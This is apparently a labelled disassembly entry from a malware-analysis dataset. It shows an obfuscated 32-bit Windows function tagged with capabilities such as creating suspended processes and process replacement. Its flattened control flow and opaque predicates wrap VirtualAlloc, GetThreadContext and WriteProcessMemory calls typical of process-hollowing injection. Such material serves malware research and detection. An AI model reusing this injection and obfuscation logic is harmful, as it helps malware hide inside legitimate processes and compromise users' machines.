Function at 0x10009f00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x258
mov eax, dword [0x10092080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x260], 0xb1ccfe02
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x264], eax
sub eax, 0x8083c312
je 0x10017e31
jmp 0x10009f3c
mov eax, dword [ebp - 0x264]
sub eax, 0x81cdb306
je 0x10017fa5
jmp 0x10009f52
mov eax, dword [ebp - 0x264]
sub eax, 0x826fc7c8
je 0x10017975
jmp 0x10009f68
mov eax, dword [ebp - 0x264]
sub eax, 0x82ee85bc
je 0x10012d73
jmp 0x10009f7e
mov eax, dword [ebp - 0x264]
sub eax, 0x82f13480
je 0x100104b4
jmp 0x10009f94
mov eax, dword [ebp - 0x264]
sub eax, 0x8315dc07
je 0x10017698
jmp 0x10009faa
mov eax, dword [ebp - 0x264]
sub eax, 0x8421cd7c
je 0x1000e8d2
jmp 0x10009fc0
mov eax, dword [ebp - 0x264]
sub eax, 0x854f82ae
je 0x10011a4a
jmp 0x10009fd6
mov eax, dword [ebp - 0x264]
sub eax, 0x8586f82f
je 0x10017626
jmp 0x10009fec
mov eax, dword [ebp - 0x264]
sub eax, 0x85e3e8bf
je 0x1000ee7c
jmp 0x1000a002
mov eax, dword [ebp - 0x264]
sub eax, 0x85ed1c70
je 0x1000e7a6
jmp 0x1000a018
mov eax, dword [ebp - 0x264]
sub eax, 0x86861eb6
je 0x1001765d
jmp 0x1000a02e
mov eax, dword [ebp - 0x264]
sub eax, 0x86c4c4d8
je 0x10010854
jmp 0x1000a044
mov eax, dword [ebp - 0x264]
sub eax, 0x86eb1d68
je 0x10014281
jmp 0x1000a05a
mov eax, dword [ebp - 0x264]
sub eax, 0x87e89da0
je 0x100127d9
jmp 0x1000a070
mov eax, dword [ebp - 0x264]
sub eax, 0x8835456e
je 0x10017747
jmp 0x1000a086
mov eax, dword [ebp - 0x264]
sub eax, 0x88402228
je 0x10012beb
jmp 0x1000a09c
mov eax, dword [ebp - 0x264]
sub eax, 0x88b2de6b
je 0x1001519a
jmp 0x1000a0b2
mov eax, dword [ebp - 0x264]
sub eax, 0x88ba8318
je 0x10012db7
jmp 0x1000a0c8
mov eax, dword [ebp - 0x264]
sub eax, 0x88c0906c
je 0x10017756
jmp 0x1000a0de
mov eax, dword [ebp - 0x264]
sub eax, 0x88cb0888
je 0x10012794
jmp 0x1000a0f4
mov eax, dword [ebp - 0x264]
sub eax, 0x88efbb4e
je 0x100150cc
jmp 0x1000a10a
mov eax, dword [ebp - 0x264]
sub eax, 0x8a3f1d94
je 0x1001099f
jmp 0x1000a120
mov eax, dword [ebp - 0x264]
sub eax, 0x8a4af5d3
je 0x10017d9d
jmp 0x1000a136
mov eax, dword [ebp - 0x264]
sub eax, 0x8b12d9ca
je 0x1000f002
jmp 0x1000a14c
mov eax, dword [ebp - 0x264]
sub eax, 0x8b722f2c
je 0x10013d29
jmp 0x1000a162
mov eax, dword [ebp - 0x264]
sub eax, 0x8bb484b1
je 0x10015874
jmp 0x1000a178
mov eax, dword [ebp - 0x264]
sub eax, 0x8c3a5e6f
je 0x1000edf7
jmp 0x1000a18e
mov eax, dword [ebp - 0x264]
sub eax, 0x8c88d1d4
je 0x100144fb
jmp 0x1000a1a4
mov eax, dword [ebp - 0x264]
sub eax, 0x8d21e45e
je 0x10016df9
jmp 0x1000a1ba
mov eax, dword [ebp - 0x264]
sub eax, 0x8d22733a
je 0x100160d1
jmp 0x1000a1d0
mov eax, dword [ebp - 0x264]
sub eax, 0x8d656d74
je 0x1000f8a5
jmp 0x1000a1e6
mov eax, dword [ebp - 0x264]
sub eax, 0x8d736e4f
je 0x10017119
jmp 0x1000a1fc
mov eax, dword [ebp - 0x264]
sub eax, 0x8d8b0670
je 0x10018081
jmp 0x1000a212
mov eax, dword [ebp - 0x264]
sub eax, 0x8da850b3
je 0x10017ed3
jmp 0x1000a228
mov eax, dword [ebp - 0x264]
sub eax, 0x8e0f8c7e
je 0x1000fc03
jmp 0x1000a23e
mov eax, dword [ebp - 0x264]
sub eax, 0x8e136095
je 0x10011b5d
jmp 0x1000a254
mov eax, dword [ebp - 0x264]
sub eax, 0x8e185977
je 0x10010532
jmp 0x1000a26a
mov eax, dword [ebp - 0x264]
sub eax, 0x8e2b48c5
je 0x10017d11
jmp 0x1000a280
mov eax, dword [ebp - 0x264]
sub eax, 0x8e3281b5
je 0x10017d70
jmp 0x1000a296
mov eax, dword [ebp - 0x264]
sub eax, 0x8e568c6f
je 0x10017b52
jmp 0x1000a2ac
mov eax, dword [ebp - 0x264]
sub eax, 0x8e684647
je 0x1000f192
jmp 0x1000a2c2
mov eax, dword [ebp - 0x264]
sub eax, 0x90aa3f7f
je 0x1000fbcc
jmp 0x1000a2d8
mov eax, dword [ebp - 0x264]
sub eax, 0x90cf887c
je 0x100135c1
jmp 0x1000a2ee
mov eax, dword [ebp - 0x264]
sub eax, 0x915066f8
je 0x10010fad
jmp 0x1000a304
mov eax, dword [ebp - 0x264]
sub eax, 0x915a6c71
je 0x10015cdc
jmp 0x1000a31a
mov eax, dword [ebp - 0x264]
sub eax, 0x92882eb5
je 0x1000edbd
jmp 0x1000a330
mov eax, dword [ebp - 0x264]
sub eax, 0x92a2cbb3
je 0x10013ae3
jmp 0x1000a346
mov eax, dword [ebp - 0x264]
sub eax, 0x9332c5a7
je 0x1000f5d3
jmp 0x1000a35c
mov eax, dword [ebp - 0x264]
sub eax, 0x934756d0
je 0x1000e653
jmp 0x1000a372
mov eax, dword [ebp - 0x264]
sub eax, 0x93773f65
je 0x10014b53
jmp 0x1000a388
mov eax, dword [ebp - 0x264]
sub eax, 0x937f3bb9
je 0x10012977
jmp 0x1000a39e
mov eax, dword [ebp - 0x264]
sub eax, 0x94513d1f
je 0x1001190b
jmp 0x1000a3b4
mov eax, dword [ebp - 0x264]
sub eax, 0x94728aa1
je 0x10010836
jmp 0x1000a3ca
mov eax, dword [ebp - 0x264]
sub eax, 0x94fc920e
je 0x10015e38
jmp 0x1000a3e0
mov eax, dword [ebp - 0x264]
sub eax, 0x95ae5a79
je 0x1000f905
jmp 0x1000a3f6
mov eax, dword [ebp - 0x264]
sub eax, 0x960d78c2
je 0x10012345
jmp 0x1000a40c
mov eax, dword [ebp - 0x264]
sub eax, 0x963de946
je 0x10017925
jmp 0x1000a422
mov eax, dword [ebp - 0x264]
sub eax, 0x967f8518
je 0x10013214
jmp 0x1000a438
mov eax, dword [ebp - 0x264]
sub eax, 0x97585260
je 0x100106c0
jmp 0x1000a44e
mov eax, dword [ebp - 0x264]
sub eax, 0x976b8348
je 0x1001552c
jmp 0x1000a464
mov eax, dword [ebp - 0x264]
sub eax, 0x97894be2
je 0x10014939
jmp 0x1000a47a
mov eax, dword [ebp - 0x264]
sub eax, 0x9826eede
je 0x1000f20f
jmp 0x1000a490
mov eax, dword [ebp - 0x264]
sub eax, 0x9845beda
je 0x100123a5
jmp 0x1000a4a6
mov eax, dword [ebp - 0x264]
sub eax, 0x986d7530
je 0x10015f0d
mov dword [ebp - 0x260], 0x2054cb19
jmp 0x10018242
mov dword [ebp - 0x260], 0x61c5267b
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
add edx, 0x607ea661
sub edx, 1
sub edx, 0x607ea661
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8315dc07
mov ecx, 0xbab1dc82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dl, byte [ebp - 0x199]
mov eax, 0x257d1a2a
mov ecx, 0x11a75b5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0xb5338211
jmp 0x10018242
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x198], eax
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25e79294
mov ecx, 0x12a9c0c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0x9f986ca5
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb4e1805f
mov ecx, 0xb1da335b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
cmp dword [ebp - 0x1e8], 0xefb8ef4
setle al
and al, 1
mov byte [ebp - 0x189], al
mov dword [ebp - 0x260], 0x425e0699
jmp 0x10018242
mov dword [ebp - 0x260], 0xc1e03875
jmp 0x10018242
mov dword [ebp - 0x260], 0x381a823f
jmp 0x10018242
mov byte [ebp - 0x1e9], 1
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
add edx, 0x48bb333c
sub edx, 1
sub edx, 0x48bb333c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa81ab080
mov ecx, 0x1e6c1696
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0xde55e776
jmp 0x10018242
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
mov edx, eax
sub edx, 0x1efd0fe7
sub edx, 1
add edx, 0x1efd0fe7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf770141
mov ecx, 0x49447728
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0x72cea507
jmp 0x10018242
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xee757f07
mov ecx, 0x33c056ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x174]
cmp eax, 0xefb8ef3
setg al
and al, 1
mov byte [ebp - 0x16f], al
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
add edx, 0xded084b9
sub edx, 1
sub edx, 0xded084b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd44209a9
mov ecx, 0x64f0e2b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0x5221b451
jmp 0x10018242
cmp dword [ebp - 0x1fc], 0xefb8ec4
setle al
and al, 1
mov byte [ebp - 0x16e], al
mov dword [ebp - 0x260], 0x43366e71
jmp 0x10018242
mov dword [ebp - 0x260], 0xdd0c6a53
jmp 0x10018242
mov dword [ebp - 0x260], 0xc9636f23
jmp 0x10018242
mov dword [ebp - 0x260], 0xbe38bf95
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
add edx, 0x8fc745c0
sub edx, 1
sub edx, 0x8fc745c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf79b5952
mov ecx, 0xa93e15a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x210]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x260], 0xcd0d196f
jmp 0x10018242
mov dword [ebp - 0x260], 0x2e6d60c1
jmp 0x10018242
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9d4b208
mov ecx, 0xdff44fb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x260], 0xf8279adf
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b364d94
mov ecx, 0xbcee39bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0x52e16225
jmp 0x10018242
mov dword [ebp - 0x260], 0x5762fddb
jmp 0x10018242
mov dword [ebp - 0x260], 0xd8a4fec8
jmp 0x10018242
mov byte [ebp - 0x221], 1
mov dword [ebp - 0x260], 0xf08b0a9d
jmp 0x10018242
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf73cb217
mov ecx, 0x9a7a4199
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov byte [ebp - 0x229], 0
mov dword [ebp - 0x260], 0xe4d1cf7
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
sub edx, 0x29ca197c
sub edx, 1
add edx, 0x29ca197c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x229d19f5
mov ecx, 0x76b01361
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov edx, dword [ebp - 0x104]
mov eax, 0x9c99c9f7
mov ecx, 0xda5e7620
cmp edx, 0xefb8f12
cmovle eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov al, byte [ebp - 0xf0]
and al, 1
mov byte [ebp - 0xef], al
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
mov edx, eax
add edx, 0xd69dc1b0
sub edx, 1
sub edx, 0xd69dc1b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73b73644
mov ecx, 0x6e753d78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov byte [ebp - 0x23a], 1
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf040a4fb
mov ecx, 0x3941f94d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8a4af5d3
mov ecx, 0xc1c42801
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
sub edx, 0xbbfd3868
sub edx, 1
add edx, 0xbbfd3868
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb75395d3
mov ecx, 0xcf806af6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov dword [ebp - 0x260], 0xa9b1efb7
jmp 0x10018242
mov dword [ebp - 0x260], 0x77a15248
jmp 0x10018242
mov dword [ebp - 0x260], 0xb3209264
jmp 0x10018242
mov dword [ebp - 0x260], 0xeb5b255a
jmp 0x10018242
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x258]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100241a0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100241a0
add esp, 0xc
mov eax, dword [ebp - 0x254]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
add edx, 0x81625f64
sub edx, 1
sub edx, 0x81625f64
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde2a97c0
mov ecx, 0x884ac72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
mov edx, ecx
sub edx, 0xe9f7f374
sub edx, 1
add edx, 0xe9f7f374
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8967c7a
mov ecx, 0x4eba5c24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x1009355c]
mov eax, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x81cdb306
mov ecx, 0x27806723
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a8]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x82], ax
mov eax, dword [0x1009355c]
mov ecx, dword [0x10093558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5d2af54
mov ecx, 0xbf3ff765
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x260], eax
jmp 0x10018242
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x74]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1a0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x260], 0x760f5e5c
jmp 0x10018242
mov dword [ebp - 0x260], 0x30f11b26
jmp 0x10018242
mov byte [ebp - 0x1dd], 1
mov dword [ebp - 0x260], 0xf5edbf5
jmp 0x10018242
mov al, byte [ebp - 0x19b]
mov dword [ebp - 0x260], 0xbab1dc82
jmp 0x10018242
mov dword [ebp - 0x260], 0xf7ef5836
jmp 0x10018242
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x260], 0xe5a7f096
jmp 0x10018242
mov dword [ebp - 0x1fc], 0xefb8f17
mov dword [ebp - 0x260], 0x75c7b461
jmp 0x10018242
mov dword [ebp - 0x260], 0xc70974df
jmp 0x10018242
mov dword [ebp - 0x260], 0xe9abb21d
jmp 0x10018242
mov byte [ebp - 0x239], 0
mov dword [ebp - 0x260], 0x28c4e3c0
jmp 0x10018242
mov dword [ebp - 0x260], 0xa48216b7
jmp 0x10018242
mov dword [ebp - 0x260], 0x97894be2
jmp 0x10018242
mov dword [ebp - 0x260], 0x433ecbc1
jmp 0x10018242
mov dword [ebp - 0x260], 0x41bf45a3
jmp 0x10018242
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x260], 0x8d22733a
jmp 0x10018242
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x260], 0x10c75972
jmp 0x10018242
jmp 0x10009f20